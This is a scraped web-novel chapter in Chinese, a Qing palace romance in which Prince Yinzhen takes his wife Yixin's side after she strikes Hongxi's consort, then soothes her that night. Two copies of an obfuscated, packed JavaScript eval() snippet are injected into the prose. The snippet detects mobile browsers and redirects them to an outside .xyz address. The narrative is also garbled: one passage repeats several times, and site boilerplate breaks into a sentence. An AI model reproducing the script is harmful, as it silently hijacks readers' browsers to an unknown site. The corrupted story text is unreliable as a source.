胤禛和康熙不紧不慢在宫道上踱步,康熙不愉快,宫宴上没吃几口,吩咐胤禛陪他回乾清宫再喝点。 鹤宣殿伺候的小太监匆匆赶来,先小碎步走到刘小泉身边。 “泉公公。 “怎么着? “鹤宣殿后花园闹起来了,四福晋将弘皙阿哥的侧福晋打了,八爷九爷十爷和弘皙阿哥,三福晋五福晋九福晋十三福晋都在。 小泉子眼前一黑,拿不准是不是该如实通禀。 胤禛听到仪欣,就稍稍留心一下,捻了捻佛珠,怎么又跟人动手了,不是才离开半个时辰吗?整日在府里猫猫狗狗软绵绵,在外面横行霸道,动不动就重拳出击。 他心里有分寸,淡淡提醒康熙:“阿玛,许是有什么事。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492475|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 刘小泉跟胤禛对视,为难哈下腰去,替仪欣遮掩着说出鹤宣殿后花园的事情。 康熙冷哼:“刚刚还弱柳扶风的,**的时候倒是有力气。 这富察氏也真是的,他的嫔妃敢动手,弘皙的侧福晋也照打不误。 胤禛温润一笑:“儿子恭送阿玛。 说完 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ,转身阔步离开。 潜台词:阿玛,你装聋作哑就好,我去看看。 康熙气笑,没甚办法,孩子间的小打小闹,他没心思去做断案包公。 已经是春末夏初,胤禛到时,额角有些薄汗,先将仪欣塞到身后,温和看向半搂着莫雅琪的弘皙,“怎么了?” 众人见胤禛到了,下意识整了整衣冠,有人唤“四哥”,有人唤“四爷”。 仪欣握着团扇,一个劲儿给胤禛打着扇,轻哼着急:“王爷,让我先说呀。” 胤禛回头无奈看她一眼,慢悠悠叹口气:“你是长辈,小辈做错事冒犯了你,自然该是他们陈情谢罪,哪里用得着你浪费口舌呢?” 莫雅琪瞪圆了眼睛,她可是双颊红肿,情绪凌乱,明眼人一眼便知谁受了委屈,四爷这般端正沉稳的人,竟是在这里颠倒黑白。 这样想着她赶紧拉扯弘皙的衣袖,弘皙拦住她的手,愧疚看她一眼,在莫雅琪难过的目光里,轻声道:“侄儿不知。” 莫雅琪哭出声来。 老八温和打圆场,“弘皙,快带着你的侧福晋回去梳洗一下,都散了吧。” 仪欣诧异看一眼老八,难不成转性了吗?从刚开始莫雅琪提及年氏,老八便遮掩着不让莫雅琪捅出来,如今竟是帮着**。 胤禛宽容道:“端午佳节,乌拉那拉氏抄两百遍离骚,弘皙也陪着抄两百遍吧,就当是闺房之乐,修身养性又纪念屈原。” “抄不完少出来惹是生非,教不好永琳,本王不要,也会给他寻个更好的阿玛额娘。” 第190章王爷,我要跟你生宝宝! 众人瞠目结舌。 三福晋风中凌乱,什么乱七八糟的,这里这么多人在场,四爷就这么明目张胆定罚了,还提起过继永琳之事。 听到永琳,弘皙没有丝毫怀疑胤禛的能力,低头领罚。 仪欣眼睛弯得好似新月,过继折腾的郁气这才舒缓了,故作老成教诲道:“字写漂亮些,若是写得跟狗爬的似的,便浪费了我们王爷的苦心了。” 胤禛扯唇戏谑看她一眼。 仪欣兴奋至极,回到马车上都在窃喜,抄离骚好啊,她至今不知道离骚后半段是是什么高深莫测的东西。 “王爷,你真厉害!你最威风!”仪欣握拳打气,右手呼呼替他扇着团扇。 胤禛浅笑着看她兴奋到红润的脸颊,停顿一会,闭目养神说:“嗯。” 仪欣借着马车摇摇晃晃,蹭到胤禛怀里,脑袋枕在他的膝头,目光凝视到马车角落里那个楠木捧盒上。 ——老八给她五万两白银,托她给姚虞姐姐。 她拒绝时,老八只说,只要姚虞是他的福晋,他就会养着姚虞。 她想着不能替姚虞姐姐做太多决定,没有过分推脱,还是先带着银两回来了。 * 回府后。 胤禛先细细检查一下她打架受没受伤,发现她全须全尾,还表扬地摸了摸她的脑袋。 照常沐浴更衣,用晚膳。 仪欣观察两个时辰,惊喜道:“王爷,你这次没罚我欸?” 胤禛状似纠结拧眉,看着她惊喜又直勾勾的小模样,叹道:“你若是想要,本王也可以尽量满足你。” 仪欣脸颊带红,扎到他怀里,赶紧揉了揉自己微微发烫的脸颊。 胤禛低低笑出声来,揶揄低头,毛茸茸的小脑瓜凑过来啄吻他的薄唇,藕臂缠缠绵绵挂在他的脖颈上,防止他乱说话。 仪欣:封住封住,赶紧封住。 “好听话,乖乖。”胤禛盲目夸赞,手臂圈着她的腰肢,稳稳抱着她,“今天的事情,可还有不愉快吗?” 她有错,自然需悉心教导,可是今日过继之事本就让她委屈错愕,若是他再责怪她,她会心里不舒服。 没有一个被宠坏的小孩不闯祸。 “没有不愉快了。”仪欣羞答答捂 住自己的脸颊,乌黑发亮的眼睛含羞带怯看着胤禛,小声说:“王爷,我好喜欢你。” 胤禛低笑着捏了捏她的脸,“来,哄你睡觉,好不好?” “好,我已经有点困了。” 仪欣还是一身水汽,刚沐浴过后浑身暖融融的,只有手脚冰凉,此时圆墩墩窝在胤禛怀里,胤禛握着她的脚,替她暖着。 胤禛语重心长宠溺肯定她:“真好,仪欣是很省心的乖乖。” 仪欣幸福抿唇憨笑,她没什么忧虑的事情,醺醺然亲了亲胤禛的肩膀,搂紧他心满意足睡着。 半晌,胤禛亲了亲她的额头,起身回书房处理政事。 前院。 胤禛深沉道:“夏刈,去查查年氏那里是不是有什么跟本王有关的东西。” 夏刈利落称是。 胤禛漫不经心读着佛经,骨节分明的手指掠过苍凉沉阔的梵文,随口说:“查完之后,年氏不用留了。” 他真不是什么好人,纵使在仪欣面前露了一点锋芒,还是不愿让她知道冷血薄情的本性,有些事不愿意让她知道。 夏刈试探请示:“乌拉那拉氏侧福晋若是知道些什么,属下该如何行事。” “翻不出风浪。”胤禛握着佛珠摆了摆手,“退下吧。” 刻漏声如蚕丝轻吐,胤禛撂下佛经处理政事。 苏培盛悄声端上一盏浓茶,目光稍稍打量一下奏章的厚度,揣摩着怕是要处理到后半夜,想着要给王爷准备些吃食。 过了一会。 胤禛听到什么声音,不悦蹙眉,合上折子,他处理政事时最不喜被人打扰,缓缓抬头,胤禛罕见茫然自我怀疑。 他不是半个时辰前才把她哄睡着吗?怎么追过来了? 裹着到脚踝大氅的仪欣站在书房中央,蓬松的发丝乖巧的贴合在脸颊上,圆圆的茶色眼眸映着他的身影,乖乖巧巧的像一只懵然不知状态的小猫。 可爱。 无法抑制的心中都被灌的满满的。 “王爷抱抱。” 真是的,整日都离不得人。 胤禛起身阔步走到她面前,弯腰平视她,温柔问:“怎么醒了,乖乖?” 提起这个仪欣就来气。 她做噩梦了,梦 里莫雅琪生了一堆孩子,皇阿玛全塞给她和王爷养,那些孩子欺负她的小豆子,长大了还不尊敬王爷,还花她的嫁妆和王府的金山银山,最后还给莫雅琪养老送终。 梦里都是莫雅琪幸灾乐祸的笑,她说,“谁让你不能生呢?” 啊啊啊啊啊! 她的银子!王爷的银锭子! “王爷,我要跟你生宝宝。”仪欣闷闷又大声说,“我们现在就生,好不好?” 苏培盛在门口踉跄一下,端着托盘就撞到了书房门上,我的娘啊,福晋怎么怎么… 胤禛抬腕捂住她的嘴巴,深沉抬眼跟苏培盛讪笑无助的老脸对上,胤禛垂眸看了她几息,她溜圆又娇媚的眼睛迫切看着他,有恃无恐。 又胡言乱语,不分场合,前院奴才这么多,又不是床榻上,这般没有威仪的话传出去,她在府中怎么服众? “滚出去。” 仪欣受伤后退一步,啊啊啊啊,王爷没这么凶过她,裹紧自己大氅,扭头就要冲出去。 颇有些老死不相往来的架势。 胤禛气得额角突突跳,弯着腰把她拉到怀里,“回来,我没说你。” 苏培盛发出点动静,张罗着守在书房门处的小厮,连带晴云都退远三步。 苏培盛:福晋,说我呢,说我呢。 仪欣闷闷不乐,在脑子里缝了个小人来回扎,皇阿玛,可恶!莫雅琪,可恶!啊啊啊! 胤禛看着她气得委屈极了的模样,坐到桌案前,抱着她跨坐在自己腿上,不太严厉呵斥说:“人前怎可胡言?你这样,本王真的要罚你了。” “罚吧,最多不过就是揍屁股,反正我要生宝宝。” 仪欣眼眶蓄不住大颗眼泪,忍不住嘤嘤婉转啜泣,“我不要替别人养孩子,养别人的孩子根本就不会真心对孩子好,王爷,我只喜欢你。” 胤禛抬起她湿漉漉的脸颊,沉默了须臾,闭了闭眼还是气笑,窝窝囊囊吐出个“嗯”字。 里莫雅琪生了一堆孩子,皇阿玛全塞给她和王爷养,那些孩子欺负她的小豆子,长大了还不尊敬王爷,还花她的嫁妆和王府的金山银山,最后还给莫雅琪养老送终。 梦里都是莫雅琪幸灾乐祸的笑,她说,“谁让你不能生呢?” 啊啊啊啊啊! 她的银子!王爷的银锭子! “王爷,我要跟你生宝宝。”仪欣闷闷又大声说,“我们现在就生,好不好?” 苏培盛在门口踉跄一下,端着托盘就撞到了书房门上,我的娘啊,福晋怎么怎么… 胤禛抬腕捂住她的嘴巴,深沉抬眼跟苏培盛讪笑无助的老脸对上,胤禛垂眸看了她几息,她溜圆又娇媚的眼睛迫切看着他,有恃无恐。 又胡言乱语,不分场合,前院奴才这么多,又不是床榻上,这般没有威仪的话传出去,她在府中怎么服众? “滚出去。” 仪欣受伤后退一步,啊啊啊啊,王爷没这么凶过她,裹紧自己大氅,扭头就要冲出去。 颇有些老死不相往来的架势。 胤禛气得额角突突跳,弯着腰把她拉到怀里,“回来,我没说你。” 苏培盛发出点动静,张罗着守在书房门处的小厮,连带晴云都退远三步。 苏培盛:福晋,说我呢,说我呢。 仪欣闷闷不乐,在脑子里缝了个小人来回扎,皇阿玛,可恶!莫雅琪,可恶!啊啊啊! 胤禛看着她气得委屈极了的模样,坐到桌案前,抱着她跨坐在自己腿上,不太严厉呵斥说:“人前怎可胡言?你这样,本王真的要罚你了。” “罚吧,最多不过就是揍屁股,反正我要生宝宝。” 仪欣眼眶蓄不住大颗眼泪,忍不住嘤嘤婉转啜泣,“我不要替别人养孩子,养别人的孩子根本就不会真心对孩子好,王爷,我只喜欢你。” 胤禛抬起她湿漉漉的脸颊,沉默了须臾,闭了闭眼还是气笑,窝窝囊囊吐出个“嗯”字。 里莫雅琪生了一堆孩子,皇阿玛全塞给她和王爷养,那些孩子欺负她的小豆子,长大了还不尊敬王爷,还花她的嫁妆和王府的金山银山,最后还给莫雅琪养老送终。 梦里都是莫雅琪幸灾乐祸的笑,她说,“谁让你不能生呢?” 啊啊啊啊啊! 她的银子!王爷的银锭子! “王爷,我要跟你生宝宝。”仪欣闷闷又大声说,“我们现在就生,好不好?” 苏培盛在门口踉跄一下,端着托盘就撞到了书房门上,我的娘啊,福晋怎么怎么… 胤禛抬腕捂住她的嘴巴,深沉抬眼跟苏培盛讪笑无助的老脸对上,胤禛垂眸看了她几息,她溜圆又娇媚的眼睛迫切看着他,有恃无恐。 又胡言乱语,不分场合,前院奴才这么多,又不是床榻上,这般没有威仪的话传出去,她在府中怎么服众? “滚出去。” 仪欣受伤后退一步,啊啊啊啊,王爷没这么凶过她,裹紧自己大氅,扭头就要冲出去。 颇有些老死不相往来的架势。 胤禛气得额角突突跳,弯着腰把她拉到怀里,“回来,我没说你。” 苏培盛发出点动静,张罗着守在书房门处的小厮,连带晴云都退远三步。 苏培盛:福晋,说我呢,说我呢。 仪欣闷闷不乐,在脑子里缝了个小人来回扎,皇阿玛,可恶!莫雅琪,可恶!啊啊啊! 胤禛看着她气得委屈极了的模样,坐到桌案前,抱着她跨坐在自己腿上,不太严厉呵斥说:“人前怎可胡言?你这样,本王真的要罚你了。” “罚吧,最多不过就是揍屁股,反正我要生宝宝。” 仪欣眼眶蓄不住大颗眼泪,忍不住嘤嘤婉转啜泣,“我不要替别人养孩子,养别人的孩子根本就不会真心对孩子好,王爷,我只喜欢你。” 胤禛抬起她湿漉漉的脸颊,沉默了须臾,闭了闭眼还是气笑,窝窝囊囊吐出个“嗯”字。 里莫雅琪生了一堆孩子,皇阿玛全塞给她和王爷养,那些孩子欺负她的小豆子,长大了还不尊敬王爷,还花她的嫁妆和王府的金山银山,最后还给莫雅琪养老送终。 梦里都是莫雅琪幸灾乐祸的笑,她说,“谁让你不能生呢?” 啊啊啊啊啊! 她的银子!王爷的银锭子! “王爷,我要跟你生宝宝。”仪欣闷闷又大声说,“我们现在就生,好不好?” 苏培盛在门口踉跄一下,端着托盘就撞到了书房门上,我的娘啊,福晋怎么怎么… 胤禛抬腕捂住她的嘴巴,深沉抬眼跟苏培盛讪笑无助的老脸对上,胤禛垂眸看了她几息,她溜圆又娇媚的眼睛迫切看着他,有恃无恐。 又胡言乱语,不分场合,前院奴才这么多,又不是床榻上,这般没有威仪的话传出去,她在府中怎么服众? “滚出去。” 仪欣受伤后退一步,啊啊啊啊,王爷没这么凶过她,裹紧自己大氅,扭头就要冲出去。 颇有些老死不相往来的架势。 胤禛气得额角突突跳,弯着腰把她拉到怀里,“回来,我没说你。” 苏培盛发出点动静,张罗着守在书房门处的小厮,连带晴云都退远三步。 苏培盛:福晋,说我呢,说我呢。 仪欣闷闷不乐,在脑子里缝了个小人来回扎,皇阿玛,可恶!莫雅琪,可恶!啊啊啊! 胤禛看着她气得委屈极了的模样,坐到桌案前,抱着她跨坐在自己腿上,不太严厉呵斥说:“人前怎可胡言?你这样,本王真的要罚你了。” “罚吧,最多不过就是揍屁股,反正我要生宝宝。” 仪欣眼眶蓄不住大颗眼泪,忍不住嘤嘤婉转啜泣,“我不要替别人养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492476|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子,养别人的孩子根本就不会真心对孩子好,王爷,我只喜欢你。” 胤禛抬起她湿漉漉的脸颊,沉默了须臾,闭了闭眼还是气笑,窝窝囊囊吐出个“嗯”字。 里莫雅琪生了一堆孩子,皇阿玛全塞给她和王爷养,那些孩子欺负她的小豆子,长大了还不尊敬王爷,还花她的嫁妆和王府的金山银山,最后还给莫雅琪养老送终。 梦里都是莫雅琪幸灾乐祸的笑,她说,“谁让你不能生呢?” 啊啊啊啊啊! 她的银子!王爷的银锭子! “王爷,我要跟你生宝宝。”仪欣闷闷又大声说,“我们现在就生,好不好?” 苏培盛在门口踉跄一下,端着托盘就撞到了书房门上,我的娘啊,福晋怎么怎么… 胤禛抬腕捂住她的嘴巴,深沉抬眼跟苏培盛讪笑无助的老脸对上,胤禛垂眸看了她几息,她溜圆又娇媚的眼睛迫切看着他,有恃无恐。 又胡言乱语,不分场合,前院奴才这么多,又不是床榻上,这般没有威仪的话传出去,她在府中怎么服众? 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